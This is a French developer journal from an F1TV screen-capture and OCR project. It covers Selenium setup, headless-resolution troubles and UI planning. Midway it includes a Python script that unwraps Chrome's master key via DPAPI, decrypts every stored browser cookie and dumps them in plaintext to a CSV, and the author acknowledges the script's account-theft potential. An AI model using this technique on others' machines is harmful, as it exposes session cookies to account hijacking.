(Bon autre soucis, l'utilisation de la RAM est ridicule plus de 2gb mais ce qui m'inqui\u00e8te c'est que j'ai l'impression qu'elle augmente plus on change d'image) J'ai r\u00e8gl\u00e9 (en partie) le soucis en obligeant le GC (Garbage Collector) \u00e0 collecter apr\u00e8s chaque detection. m\u00eame apr\u00e8s 50 detections l'utilisation de la ram se stabilize autour des 2GB. Bon en paralellisant la cr\u00e9ation des Engines le soucis c'est que cela demande d'allouer beaucoup trop de m\u00e9moire d'un coup alors le programme se fige pendant genre cinq secondes avant de tout cr\u00e9er. Du coup m\u00eame si la cr\u00e9ation est plus rapide, on se retrouve avec un temps total plus long... Je pense que l'on va devoir se contenter de ces dix secondes. Bon la j'allais tenter de faire la documentation mais je viens de me rendre compte que la detection de temps au tour est pas vraiment encore id\u00e9ale... J'ai r\u00e9ussi \u00e0 changer un petit peu le programme de reconnaissance pour rendre la reconnaissance un peu meilleure mais cela a drastiquement augment\u00e9 le temps requis pour d\u00e9coder... On arrive \u00e0 3.5 secondes. Je vais tenter de rajouter un peu de parralell processing sur les boucles de traitement voir si cela peut aider. Alors effectivement cela aide pas mal, on arrive maintenant \u00e0 faire une detection presque tout le temps en dessous de la seconde. Et j'ai aussi du changer un peu le fonctionnement de la detection des Temps au tour. Et voila je pense que je vais m'arr\u00eater la pour la partie d\u00e9codage. Je ne pense pas que je peux facilement faire mieux que ca et il faut que j'avance dans d'autres parties du projet. Je vais pouvoir commencer \u00e0 documenter un peu toute la partie OCR. Il faut que je prenne le temps de le faire bien car c'est la partie la plus int\u00e9ressante du projet et ou je pense que j'aurai le plus essay\u00e9 de choses qui vallent le coup d\u00eatres racont\u00e9es. J'ai aussi pass\u00e9 pas mal de temps sur le poster du projet. J'avais fait des croquis au crayon de ce \u00e0 quoi je pensais, cependant apr\u00e8s de longues discussions avec M.Garcia ils n'\u00e9taient pas forc\u00e9ment tr\u00e8s bons car ils ne repr\u00e9sentent pas assez bien le fonctionnement du projet et sont un peu trop marketings. Du coup j'ai fait une premi\u00e8re version au propre : \"Poster V1\" Mais je n'\u00e9tais pas forc\u00e9ment content du r\u00e9sultat et il manquait des choses je trouve comme par exemple l'utilisation de Selenium. J'ai donc repass\u00e9 des heures \u00e0 faire une seconde version : \"Poster V2\" La police d'\u00e9criture n'est pas encore la bonne mais cela va venir. Mais je pr\u00e9f\u00e8re d\u00e9ja beaucoup cette version \u00e0 la premi\u00e8re. Je ne sais pas encore si la version finale sera une version plus travaill\u00e9e de ce poster ou compl\u00eatement autre chose mais pour l'instant je suis \u00e0 peu pr\u00e8s content de cette version. Je le trouve un tout petit peu trop brouillon ou avec trop d'infos mais il m'a \u00e9t\u00e9 de nombreuses fois reproch\u00e9 de ne pas assez montrer le fonctionnememt interne et je ne peux pas faire plus simple. L'ajout des nombres pour compartimenter le projet ajoute de la structure mais je me demande si cela suffit. Maintenant que je suis \u00e0 peu pr\u00e8s content de mon code pour l'OCR je vais commencer sa documentation. (Uniquement son fonctionnement interne pas comment s'en servir car cela va changer) Bon j'ai cr\u00e9\u00e9 u nouveau projet selenium mais m\u00eame avec les bonnes libraries je n'arrivais pas \u00e0 faire fonctionner firefox j'avais toujours une erreur \"OpenQA.Selenium.WebDriverException: 'Cannot start the driver service on http://localhost:51481/'\" et j'ai pu r\u00e8gler le probl\u00e8me en t\u00e9l\u00e9chargeant directement le gecko driver depuis le git https://github.com/mozilla/geckodriver/releases et utiliser le fichier directement dans le service : var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@\"geckodriver-v0.27.0-win32\\geckodriver.exe\"); FirefoxOptions options = new FirefoxOptions(); var driver = new FirefoxDriver(service,options); Le seul probl\u00e8me c'est que du coup il faut tout le temps d\u00e9placer le fichier dans le dossier bin si je clone le projet. Il faudra faire un installeur dans la version finale qui s'occupe de tout je pense. Je me suis dit que j'allais garder la doc pour le retour des vacances quand j'aurai un bureau un clavier et un setup complet un peu propres. Bon il va falloir que je parle de la r\u00e9cup\u00e9ration de cookie. J'ai d\u00e9ja pu travailler lors d'un poc sur la meilleure facon de prendres des screenshots de la F1TV : Avoir une page chrome ouverte avec le feed en plein \u00e9cran et un programme qui prend des captures d'\u00e9crans. Avoir une cam\u00e9ra qui prend en photo l'\u00e9cran au cas ou chrome et Firefox emp\u00eachent la prise de captures d'\u00e9crans. R\u00e9cup\u00e8rer directement le feed en faisant du reverse engeneering de la plateforme. Simuler un chrome en background qui prenne des screenshot sans qu'on aie \u00e0 le voir. Dans toutes ces options, je dirais que la pire \u00e9tait celle de la cam\u00e9ra qui filme l'\u00e9cran, mais \u00e0 l'\u00e9poque c'\u00e9tait encore envisageable comme solution de dernier recours. Le soucis de cette solution c'est l'horreur que serait la partie OCR avec une image de tr\u00e8s mauvaise qualit\u00e9. Une autre option qui m'aurait vraiment emb\u00eat\u00e9 aurait \u00e9t\u00e9 de devoir garder une page de Chrome ou Firefox ouverte quelque part sur un \u00e9cran pour que le programme puisse prendres des captures d'\u00e9crans. C'est de loin l'option la plus simple et la plus logique mais elle poss\u00e8de pour moi de tr\u00e8s gros points noirs : On ne peut pas certifier l'int\u00e9grit\u00e9 des donn\u00e9es car l'utilisateur a le contr\u00f4le total sur le feed. Il peut mettre pause, avancer, reculer, tout casser sans faire expr\u00e8s en ouvrant autre chose sur son ordi qui se mette pile devant. Bref c'est un peu bancale. Et surtout on bloque une partie non significative de l'\u00e9cran de l'utilisateur avec des infos redondantes. Et je peux vous dire que quand je commente la F1 j'ai besoin de beaucoup d'informations et que chaque centim\u00e8tre d'\u00e9cran est crucia\u00e9 ! Alors avoir un \u00e9cran complet bloqu\u00e9 est juste un point bloquant qui m'emp\u00eacherait d'utiliser l'app aussi bonne soit-elle dans ses pr\u00e9dictions. Mais bon si aucune autre methode ne fonctionne ce qui est bien c'est que celle la est plut\u00f4t simple \u00e0 mettre en place. Ensuite reverse engeneer le feed serait l'option la plus classe, cependant c'est la plus complexe et la plus bancale au niveau l\u00e9gal haha. L'id\u00e9e serait de r\u00e9cup\u00e8rer le lien vers le broadcast g\u00e9n\u00e9ral et de comprendre comment il fonctionne pour le d\u00e9coder nous m\u00eame pendant un Grand Prix. Seuls soucis : Il n'est pas possible de faire des tests en dehors des periodes de Grand Prix (Et je rappelle que c'est des p\u00e9riodes ou je travaille en plus) Difficile de faire un syst\u00e8me qui marche pareil pour les rediffusions et les lives. (En effet les liens des rediff sont beaucoup plus simple \u00e0 r\u00e9cup\u00e8rer mais ne fonctionnent pas du tout pareil et pour tester l'app il est essentiel de pouvoir s'entrainer sur des anciens Grand Prix) Dernier GROS soucis, je ne sais tout simplement pas faire ca lol. Je ne sais pas comment faire. Peut-\u00eatre que avec des profs qui m'aident et chat gpt ainsi qu'internet je pourrais potentiellement n\u00e9gocier un truc mais c'est hautement improbable et cela serait une perte de temps folle si je n'y arrive pas. Derni\u00e8re option que je trouve la plus s\u00e9duisante. Simuler une instance de Chrome ou de Firefox (Le soucis avec chrome c'est qu'il impl\u00e9mente l'utilisation de DRM dans les vid\u00e9os qui fait qu'il est tr\u00e8s difficile de passer outre la s\u00e9curit\u00e9 avec un bot) pour ensuite prendre des captures d'\u00e9crans automatiquement. Cette solutions offre pleins d'avantages : Pas de place prise sur l'\u00e9cran L'int\u00e9grit\u00e9 des donn\u00e9es est assur\u00e9e car c'est le programme qui d\u00e9cide d'ou partir et de si il met pause ou non C'est une option complexe mais beaucoup moins que le reverse engeneering Elle permet de ne demander presque aucun input de la part de l'utilisateur. Mais elle pose quelques probl\u00e9matiques : Comment se connecter automatiquement sans \u00eatre detect\u00e9 par un Bot et sans demander \u00e0 l'utilisateur ses identifiants (Pour des raisons \u00e9videntes qui sont : QUI VA METTRE SES IDENTIFIANTS SUR UNE VIEILLE APP COMME LA MIENNE??) Comment faire en sorte que le programme prenne les meilleures captures dans la meilleure qualit\u00e9 et en plein \u00e9cran. Mais j'ai d\u00e9cid\u00e9 de partir sur cette option. Pour ce faire j'utilise Selenium. J'ai pu tester Puppetteer Sharp et m\u00eame si dans un premier temps j'ai pu avancer asez vite, malheureusement il y a des bugs qui rendent son utilisation impossible dans notre contexte. J'ai donc d\u00e9cid\u00e9 de tout faire en utilisant un portage de Selenium dans mon programme. Voici un exemple de code qui va ouvrir FireFox et qui va lancer un RickRoll var service = FirefoxDriverService.CreateDefaultService(AppDomain.CurrentDomain.BaseDirectory+@\"geckodriver-v0.27.0-win32\\geckodriver.exe\"); service.Host = \"127.0.0.1\"; service.Port = 5555; FirefoxOptions options = new FirefoxOptions(); options.AddArgument(\"--disable-headless\"); var driver = new FirefoxDriver(service,options); driver.Navigate().GoToUrl(\"https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1&mute=1\"); Dans cet exemple on d\u00e9sactive le \"Headless\" pour qu'on puisse voir ce que fait l'app car sinon tout est invisible. Alors dans les faits la vid\u00e9o youtube ne se lance pas du tout car il y a des pubs et des prompts de cookies que l'on doit accepter etc... ce qui montre les diff\u00e9rents challenges que l'on va devoir surmonter pour vraiment faire ce que l'on veut. Mais un petit d\u00e9tail extr\u00eamement important, la F1TV est un programme payant un peu comme netflix. Ce qui veut dire que pour acc\u00e8der au contenu il faut \u00eatre connect\u00e9. Sauf que une instance de firefox cr\u00e9\u00e9 par Selenium est comme une page de naviguation priv\u00e9e, ce qui veut dire que si on va sur la page de la F1TV on est pas connect\u00e9s. Je pourrais tout \u00e0 fait demander \u00e0 l'utilisateur de me donner ses identifiants pour que j'aille ensuite automatiquement me connecter sauf que cela pose deux soucis: Personne ne voudra mettre ses identifiants sur mon programme La page de login de la F1TV a \u00e9t\u00e9 prot\u00e8g\u00e9e avec la meilleure technologie de detection de bots que je connaisse. Presque aucun site n'arrive \u00e0 me detecter sauf eux ! Donc c'est tout simplement impossible d'utiliser cette technique. Ensuite je me suis rappel\u00e9 que ce que la page stocke pour me permettre de rester connect\u00e9 ce sont des cookies. Et si je mets le bon cookies dans Selenium alors je serai connect\u00e9. Dans un premier temps je voulais faire un syst\u00e8me ou l'utilisateur irait prendre dans son chrome son cookie et le copie colle dans mon programme mais c'est immonde. C'est alors que vient la partie r\u00e9cup\u00e8ration de cookies ! Tous les cookies de chrome sont stock\u00e9s dans une base de donn\u00e9es SQLITE. On pourrait se dire Banco il suffit d'aller dedans et de retrouver tous les cookies et se connecter. Sauf que, pas b\u00eates, les \u00e9quipes de chrome ont d\u00e9cid\u00e9 que c'\u00e9tait une bonne id\u00e9e d'encoder les cookies pour que tout le monde ne puisse pas venir y mettre son nez... En effet les cookies peuvent contenir des informations importantes. Cela fait que pour utiliser ces cookies il faut pouvoir les d\u00e9coder. Mon hypoth\u00e8se a \u00e9t\u00e9 que si ces cookies peuvent \u00eatre lus par Chrome m\u00eame hors connexion, c'est que la cl\u00e9 de d\u00e9codage existe sur l'appareil et qu'il suffit de la trouver. ET C'EST LE CAS! Apr\u00e8s pas mal de recherches j'ai pu voir que la cl\u00e9 de d\u00e9codage existe bel et bien et qu'il suffit de la d\u00e9coder en utilisant la librairie DPAPI pour la lire. Avec cette cl\u00e9 on peut ensuite d\u00e9coder les cookies et leurs valeurs ce qui veut dire qu'il est th\u00e9oriquement possible d'automatiser le processus sans que l'utilisateur n'aie rien \u00e0 faire. J'ai d\u00e9cid\u00e9 de faire la partie r\u00e9cup\u00e8ration en python pour deux raison : Je n'arrivais pas \u00e0 trouver une bonne impl\u00e9mentation de DPAPI en C# qui me permettait de d\u00e9coder la cl\u00e9. Il existe beaucoup plus de documentation en Python pour ce qui est de la cryptographie et donc si Chrome change de fonctionnement il sera beaucoup plus simple de changer cette partie en particulier sans avoir \u00e0 recompiler le code C#. J'ai donc avec l'aide d'internet et de ChatGPT cr\u00e9\u00e9 ce script : def get_master_key(): with open( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Local State\", \"r\" ) as f: local_state = f.read() local_state = json.loads(local_state) master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"]) master_key = master_key[5:] # removing DPAPI master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] print(\"MASTER KEY :\") print(master_key) print(len(master_key)) return master_key def decrypt_payload(cipher, payload): return cipher.decrypt(payload) def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) def decrypt_password(buff, master_key): try: iv = buff[3:15] payload = buff[15:] cipher = generate_cipher(master_key, iv) decrypted_pass = decrypt_payload(cipher, payload) decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes return decrypted_pass except Exception: # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key() cookies_path = Path( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Network\\\\Cookies\" ) if not cookies_path.exists(): raise ValueError(\"Cookies file not found\") with sqlite3.connect(cookies_path) as connection: connection.row_factory = sqlite3.Row cursor = connection.cursor() cursor.execute(\"SELECT * FROM cookies\") with open('cookies.csv', 'a', newline='') as csvfile: fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) if csvfile.tell() == 0: writer.writeheader() for row in cursor.fetchall(): decrypted_value = decrypt_password(row[\"encrypted_value\"], master_key) writer.writerow({ 'host_key': row[\"host_key\"], 'name': row[\"name\"], 'value': decrypted_value, 'path': row[\"path\"], 'expires_utc': row[\"expires_utc\"], 'is_secure': row[\"is_secure\"], 'is_httponly': row[\"is_httponly\"] }) print(\"Finished CSV\") Ce programme va faire tout ce que j'ai expliqu\u00e9 et va ensuite stocker les r\u00e9sultats dans un CSV pour qu'il soit facile d'y acc\u00e8der depuis le C#. Alors oui cela pose certaines questions de s\u00e9curit\u00e9. Car en effet je prend tous les cookies, les d\u00e9code et les stocke. Ce qui veut dire que je pourrais tout \u00e0 fait envoyer ces donn\u00e9es quelque part, par exemple un compte Netflix, et me rincer. Si je devais rendre le projet ouvert au public je pense qu'il faudra que cela soit mentionn\u00e9 clairement et que le projet soit open source pour que les utilisateurs puissent verifier que je ne fais pas ca. Maintenant de l'autre c\u00f4t\u00e9 j'ai juste \u00e0 lire le CSV et le tour est jou\u00e9 ! (Trouver cette solution m'a pris une semaine de vacances \u00e0 l'\u00e9poque) Bon j'ai r\u00e9ussi \u00e0 faire le programme se connecter et naviguer etc.. Par contre quelque chose que j'ai voulu ajouter et qui m'a pris pas mal de temps c'est de faire en sorte de pouvoir selectionner la qualit\u00e9. Pour changer la qualit\u00e9 du feed il faut cliquer sur settings et ensuite prendre le menu deroulant et selectioner 1080p. Le soucis c'est le que la value du select est jamais la m\u00eame. Elle commence toujours pas \"1080_\" mais ensuite ca peut \u00eatre \"1080_45930285\" ou \"1080_56801\" la suite est apparemment random. J'ai donc du utiliser ce code pour le selectioner quand m\u00eame : IWebElement settingsButton = driver.FindElement(By.ClassName(\"bmpui-ui-settingstogglebutton\")); settingsButton.Click(); IWebElement selectElement = driver.FindElement(By.ClassName(\"bmpui-ui-videoqualityselectbox\")); SelectElement select = new SelectElement(selectElement); IWebElement selectOption = selectElement.FindElement(By.CssSelector(\"option[value^='1080_']\")); selectOption.Click(); Sauf que pour que cela marche je dois avant cliquer sur le bouton des settings le probl\u00e8me c'est qu'il est invisible alors on doit le faire apparaitre. J'ai tent\u00e9 de le faire aparaitre en bougeant la souris, en cliquant \u00e0 un endroit pr\u00e9cis, impossible de le faire marcher correctement. Puis j'ai eu l'id\u00e9e de mettre pause en envoyant un appui sur la touche Espace et ca a permit de d\u00e9couvrir le bouton et permettre qu'on clique dessus. Ca peut paraitre tout b\u00eate mais rien que ca, ca m'a pris un temps consid\u00e9rable. Bon pour ce qui est du timecode de la vid\u00e9o. Je pense qu'il serait trop complexe de faire en sorte que selenium change le slider de progression de la vid\u00e9o. Alors j'ai fait quelques tests et apparemment, si on quitte la F1TV sur un timecode de la vid\u00e9o que on donne au programme, comme il r\u00e9cup\u00e8re tous les cookies de la F1TV il commencera de la. Donc si on veut utiliser le programme avec des Grand Prix ayant d\u00e9ja eu lieu, on peut le faire, seulement il faudra juste au pr\u00e9alable avoir choisit le bon timecode dans le page de la F1TV avant de le lancer. Ce qui est int\u00e9ressant c'est que la page de la F1TV ressemble \u00e0 ca au d\u00e9part : \"Empty F1TV\" Je pense qu'une bonne id\u00e9e serait de dire au programme que c'est la grille de d\u00e9part et ensuite d\u00e8s qu'il d\u00e9tecte un secteur il sait que la course a commenc\u00e9. Lundi 24 Avril 2023 Aujourd'hui c'est jour de documentation. J'ai pas mal travaill\u00e9 pendant les vacances mais je n'ai pas encore pu faire de vraie documentation correcte du fonctionnement. Du coup je vais m'en charger aujourd'hui et peut-\u00eatre un peu demain. Ok normalement je ne devrais faire que de la documentation mais je ne peux pas passer \u00e0 cot\u00e9 de ca... Le probl\u00e8me que j'ai avec les pneus ou parfois il d\u00e9tecte un H au lieu d'un '11' et ce genre de choses c'est \u00e0 cause de ma methode \"RemoveBG\" Qui va retirer tous les pixels plus sombres que le background. Sauf que cela va aussi retirer des pixels dans le chiffre lui m\u00eame et qui va donc defigurer les 11 : \"diformed 11\" \"diformed 11\" J'ai r\u00e9ussi \u00e0 les changer en : \"less diformed\" \"less diformed\" Mais au final cela n'a pas augment\u00e9 la pr\u00e9cision de la reconnaissance. Je pense que je vais donc devoir encore changer. Je pense que une bonne facon de trouver serait dabord de trouver la couleur du pneu. Et si il n'y a pas assez de couleur alors c'est que le pneu contient une lettre. Le but est d'arr\u00eater de chercher des lettres ou des chiffres. Comme ca les 11 arr\u00eateront d'\u00eatre pris pour des 'H' En fait on peut faire encore plus simple que ca. On peut simplement regarder la couleur dominante et determiner le pneu. En effet m\u00eame si il y a une lettre sur fond noir pour d\u00e9crire le pneu, mon methode de r\u00e9cup\u00e8ration de la couleur dominante ommet les pixels trop noirs alors il est quand m\u00eame possible de determiner le type de pneus. Et tout simplement si il n'arrive pas \u00e0 lire le chiffre c'est que c'est une lettre et que donc on est \u00e0 0 tours. Cela marche plut\u00f4t bien et cela simplifie pas mal le processing. Voila, la je vais me remettre \u00e0 la documentation sinon je vais encore prendre du retard. Mardi 25 Avril 2023 Encore une fois j'ai pris du temps de doc pour changer des choses sur la partie OCR. Mais en m\u00eame temps en documentant je vois des choses que j'ai soit mal fait soit que je pourrais faire mieux en changeant tr\u00e8s peu de choses. J'\u00e9sp\u00e8re que les changement que j'ai fait vont aider au moins \u00e0 la coh\u00e9rence du code et un peu pour les performances. Il semble que dans les conditions que j'ai test\u00e9 le nombre de tour soit plut\u00f4t fiable mais je pense que je devrai faire un peu de travail en aval dans la r\u00e9cup\u00e9ration de ces donn\u00e9es car je sens que cela va poser probl\u00e8me quelques fois. Je pense que en utilisant bien l'historique on peut potentiellement se passer de l'utilisation de ce chiffre pas toujours compl\u00eatement fiable. Mais sinon aujourd'hui c'est encore une fois un gros jour de doc. J'essaie d'expliquer les diff\u00e9rents proc\u00e9d\u00e9s avant de les oublier. J'essaie aussi de donner un maximum d'exemples sous formes de photos interm\u00e9diaires mais ca me prend pas mal de temps car il faut que j'ajoute un peu partout dans le code des lignes pour sortir des images interm\u00e9diaires. En plus de la documentation je me suis aussi beaucoup occup\u00e9 de nettoyer mon code et je suis assez content par ce que m\u00eame en ayant du rajouter des couches de complexit\u00e9 pour mieux reconnaitres les temps au tour j'arrive \u00e0 un temps de processing parfois en dessous des 2 secondes ce que je trouve honorable. Quand j'aurai finit de nettoyer tous mes fichiers je ferai une release sur gitea et ce sera la version que j'utiliserai quand je voudrai faire un merge avec les autres parties du projet. J'ai beaucoup beaucoup boss\u00e9 aujourd'hui et je sui bien mort. Faire autant de documentation et de nettoyage de code c'est pas forc\u00e9ment bon pour le cerveau je crois. J'ai besoin d'une sieste. Demain je pense que je vais commencer \u00e0 avancer sur la partie r\u00e9cup\u00e8ration des images. Je sais que la je fais un peu passer les tests \u00e0 la trappe mais d\u00e9ja j'en ai fait tout le long du d\u00e9veloppement de OCR_DECODE et il faut vraiment que j'avance, quitte \u00e0 revenir dessus quand j'aurai merge les deux projets ensemble. 26 Avril 2023 Aujourd'hui je vais devoir m'occuper de la partie r\u00e9cup\u00e9ration des images. J'ai d\u00e9ja eu l'occasion d'avancer sur ce projet pendant mopn poc et mes vacances. Donc la le but ca va \u00eatre de voir ce qui manque comme v\u00e9ritables features et ensuite je vais pouvoir m'occuper de la vue et de son int\u00e9gration avec le d\u00e9codage. Ok donc maintenant que j'au un programme qui arrive \u00e0 prendre des images depuis la F1TV correctement et en bonne r\u00e9solution. Je pense qu'il est temps de passer \u00e0 l'impl\u00e9mentation de la Forme que ca va prendre. C'est important de se poser au moins cinq minutes la question de comment je pr\u00e9vois de faire car m\u00eame si ca n'est pas la version finale, cette derni\u00e8re prendra tr\u00e8s fort inspiration du desing que je vais faire. Dans cette form j'aurais besoin de : Pouvoir selectionner un Grand Prix en ins\u00e8rant l'URL du feed. Pouvoir lancer la calibration si besoin Indiquer le titre et la date du Grand Prix Indiquer si le Grand Prix vient de commencer ou si il y a d\u00e9ja un certain nombre de tours lanc\u00e9s. Et c'est \u00e0 peu pr\u00e8s tout en fait... J'ai tellement pouss\u00e9 pour avoir un programme qui fait tout tout seul que il ne me faut pas grand chose de plus. Je pense que ce qui serait pas mal ca serait du coup d'utiliser ce temps pour bien impl\u00e9menter la calibration qui elle aura besoin d'une UI un peu plus bal\u00e8ze. On pourrait m\u00eame imaginer que la calibration fasse partie int\u00e9grante des settings... Ca serait peut-\u00eatre bien que quand l'application se lance on se retrouve sur la page principale d'affichage de donn\u00e9es et qu'on puisse simplement cliquer sur la page options qui contient la page calibration et qui permet de rentrer les infos du Grand Prix. Je pense que je vais faire ca. Voici l'interface que j'ai d\u00e9velopp\u00e9e pour regrouper tout ca : \"Screen\" La police le style le placement et les couleurs ne sont pas d\u00e9finitfs, cependant je pense que c'est un bon d\u00e9but. Le but maintenant va \u00eatre de permettre de faire fonctionner la calibration et la r\u00e9cup\u00e8ration d'images. Si j'arrive \u00e0 faire fonctionner ces deux choses sur un m\u00eame projet avant la fin de la semaine cela serait super ! Bon J'ai pu avancer sur l'int\u00e8gration de Selenium mais cela prend un peu de temps car je veux impl\u00e9metner un moyen de pouvoir prendre une Screenshot \u00e0 nimporte quel moment et pas juste en boucle. Demain je finis de faire fonctionner ca et ensuite je commence le cablage du reste. Jeudi 27 Avril 2023 C'est assez dur de faire l'importation car il y a des petites diff\u00e9rences qui obligent \u00e0 presque tout r\u00e9\u00e9crire. En fait le programme de calibration avait d\u00e9ja impl\u00e9ment\u00e9 la fonction de Windows et de Zones mais il fonctionnait juste assez diff\u00e9remment pour qu'il faille tout refaire. La je suis en train de perdre \u00e9norm\u00e9ment de temps \u00e0 cause d'un soucis de coordonn\u00e9es. J'ai repris le code de la calibration pour detecter ou l'utilisateur a cliqu\u00e9 pour cr\u00e9er les zones. Cependant, je n'arrive pas \u00e0 le faire fonctionner correctement. La zone est tout le temps d\u00e9cal\u00e9e en haut et en bas mais pas de la m\u00eame facon. En haut, la valeur Y est trop grande alors que en bas la valeur Y est trop petite... Je ne comprends pas bien pourquoi. Si c'\u00e9tait un simple d\u00e9calage cela ne serait pas compliqu\u00e9 \u00e0 g\u00e8rer mais la... J'ai un soucis \u00e9galement avec la r\u00e9solution des screenshots que je r\u00e9cup\u00e8re en full Headless. Voici un exemple de r\u00e9solution que j'arrive \u00e0 r\u00e9cup\u00e8rer sans le headless : \"High Res\" \"Low Res\" Il y a clairement un soucis et le probl\u00e8me c'est que avec une r\u00e9solution pareille, impossible de faire une reconnaissance correcte. BON J?EN PEUX PLUS LA. Ca fait des heures que je bosse sur ce probl\u00e8me d\u00e9bile et impossible de trouver une solution. J'ai essay\u00e9 cinq facons de forcer le browser headless a prendre une plus haute r\u00e9solution aucune ne fonctionne je ne comprends pas. A chaque fois que je me retrouve avec une r\u00e9solution de 1366 x 768 Ou une variante de basse r\u00e9solution du style. J'en peux plus je ne trouve aucune r\u00e9ponse sur internet ni m\u00eame avec chatGPT. Super... La seule chose que j'ai pu faire qui change quelque chose fait que les images font maintenant du 926x517... j'ai un peu envie de commentre un crime de guerre au plus vite. Vendredi 28 Avril 2023 Une des solutions que je n'ai pas encore essay\u00e9 est de changer ma version de GeckoDriver. Sauf que ca m'oblige \u00e0 changer les versions de mes libraries ce qui est tr\u00e8s p\u00e9nible, je vais continuer le debugging dans le projet Selenium_clean. Il faut savoir que la librairie de Selenium que j'utilise est bloqu\u00e9e en 0.27 ce qui fait que je ne peux utiliser qu'une version obsol\u00e8te du Gecko Driver. J'ai tent\u00e9 de changer vers une version en 64 bits du GeckoDriver 0.27 mais pareil, je me retrouve toujours avec des images de M. J'essaie toutes les solutions que je trouve sur internet aucune ne convient c'est infernal. J'essaie de changer la r\u00e9solution DPI, j'essaie de changer les param\u00eatres par d\u00e9faut des player de Firefox, j'essaie de changer la r\u00e9solution pendant et au d\u00e9but de l'execution IMPOSSIBLE DE FAIRE MARCHER CETTE MERDE C'EST PAS POSSIBLE !!! J'ai essay\u00e9 avec chrome mais je ne peux pas l'utiliser car les DRM m'emp\u00eacheront de prendre des screenshot du flux vid\u00e9o. J'ai essay\u00e9 de faire tourner avec edge mais edge ne peut pas tourner en headless. JE VAIS DEVENIR FOUF FPWQOVMQEKOVNVIBDBJDAIVOBI. ET MAINTENANT JE N'ARRIVE PLUS A FAIRE DE PROJET AVEC SELENIUM VOIWQNV(UEWQBVU)WEQN=OEJNIVIUWVBWUEV ON CHERCHE A ME FAIRE PETER UN PLOMB C'EST PAS POSSIBLE GIWEGUWEQN VOICI UN EXEMPLE DU CODE QUE JE DEMANDE A UN NOUVEAU PROJET AVEC EXACTEMENT LES MEMES LIBRARIES INSTALLEES : // Create a new FirefoxDriver instance IWebDriver driver = new FirefoxDriver(); // Navigate to the specified URL driver.Navigate().GoToUrl(\"https://www.example.com\"); // Do something with the driver (e.g., find elements or take screenshots) // Quit the driver driver.Quit(); Je ne demande que ca ET MEME CA CA NE VEUT PAS FONCTIONNER VOIWENB)IWUQENV Oui je suis un peu \u00e9nerv\u00e9 ca se voit? A bon? Et maintenant NUGGET ne fonctionne plus... j'en peux plus la. Je ne peux plus t\u00e9l\u00e9charger de librairie sur aucun de mes projets... J'ai tent\u00e9 de supprimer le fichier de config et red\u00e9marrer Visual Studio mais cela ne fait rien. J'ai aussi tent\u00e9 de faire un 'nugget restore' toujours rien. Bon apparemment je ne suis pas le seul qui ne peut pas acc\u00e8der \u00e0 Nuget donc bon c'est pas juste chez moi qu'il y a un soucis. Mais m\u00eame en mettant ma 4G pour me connecter, je n'arrive pas \u00e0 acc\u00e8der \u00e0 certains sites y compris Nuget et je ne peux pas download de librairies... Je ne comprends pas ce qui se passe et du coup je ne peux juste pas bosser... J'ai red\u00e9marr\u00e9 trois fois mon pc et visual studio, j'ai essay\u00e9 de changer mes settings DNS etc... impossible de bosser. Je crois que je n'aurais pas du me reveiller aujourd'hui. Bon je vais tenter d'avancer sur mon poster en attendant que le r\u00e9seau soit en meilleur \u00e9tat. Lundi 1 Mai 2023 Bon je bosse depuis chez moi donc j'esp\u00e8re que Nuget va mieux fonctionner. Apr\u00e8s un weekend \u00e0 r\u00e9fl\u00e9chir au sujet de cette resolution je me suis dit deux choses. La seule personne sur internet que j'ai vu avoir le meme soucis avait une r\u00e9solution de 1920x1200 comme moi. Cela veut donc s\u00fbrement dire que le soucis vient de cette r\u00e9solution de laptop comme moi. Si vraiment je n'arrive pas dans un premier temps \u00e0 faire fonctionner le Headless correctement, je peux toujours laisser la page de c\u00f4t\u00e9 et m'occuper du reste du programme. Certes ca serait vraiment infernal d'avoir \u00e0 garder une page chrome ouvert en tous temps et en plus elle doit \u00eatre en plein \u00e9cran mais bon... Si il n'y a vraiment pas d'autres solutions malheureusement je serai bien oblig\u00e9. BON ! JE N'ARRIVE MEME PLUS A FAIRE UN PROJET QUI UTILISE SELENIUM ET QUI MARCHE JE VAIS FAIRE BR\u00dbLER GENEVE. C'est pas possible serieux, je ne comprends pas j'essaie tout ce que je trouve et impossible de juste lancer firefox c'est du grand nimporte quoi. Je prend les m\u00eame putain de librairies que sur les autres projets les m\u00eames versions, je prend le m\u00eame exact code. Sur le nouveau projet impossible de le faire fonctionner. Je commence \u00e0 croire que on essaie de me faire p\u00eater un cable. Du coup dans un \u00e9lan de d\u00e9sespoir je vais tenter de passer sur une autre librairie qui avec un peu de chance marche et en plus me permettrais de prendre des foutues screenshot dans le bon format. Les deux seules librairies qui pourraient potentiellement faire l'affaire sont les librairies : PhantomJS CefSharp Je vais les tester et simplement prier pour qu'elles fonctionnent et que je puisse faire ce que je veux avec. Alors pour le moment avec CEFSharp j'arrive \u00e0 lancer une instance de chrome et prendre une screenshot avec ce code : CefSettings settings = new CefSettings(); settings.CachePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), \"CefSharp\\\\Cache\"); // Set cache path settings.LogSeverity = LogSeverity.Disable; // Disable logging Cef.Initialize(settings); // Initialize CEF using (var browser = new ChromiumWebBrowser(\"www.google.com\", new BrowserSettings())) // Launch Chromium in off-screen mode { browser.Load(\"https://www.example.com\"); // Navigate to the test URL browser.Size = new Size(1920, 1080); // Set the browser size to 1920x1080 browser.ScreenshotAsync().ContinueWith(task => { var bitmap = task.Result; bitmap.Save(\"screenshot.png\", System.Drawing.Imaging.ImageFormat.Png); // Take a screenshot and save it as a PNG file }).Wait(); } Cef.Shutdown(); // Shutdown CEF Avec ca il faut ces using : using System; using System.Drawing; using System.IO; using CefSharp; using CefSharp.OffScreen; C'est assez prometteur m\u00eame si il faut encore beaucoup pour remplacer selenium. Ah bah lol en fait non on peut pas 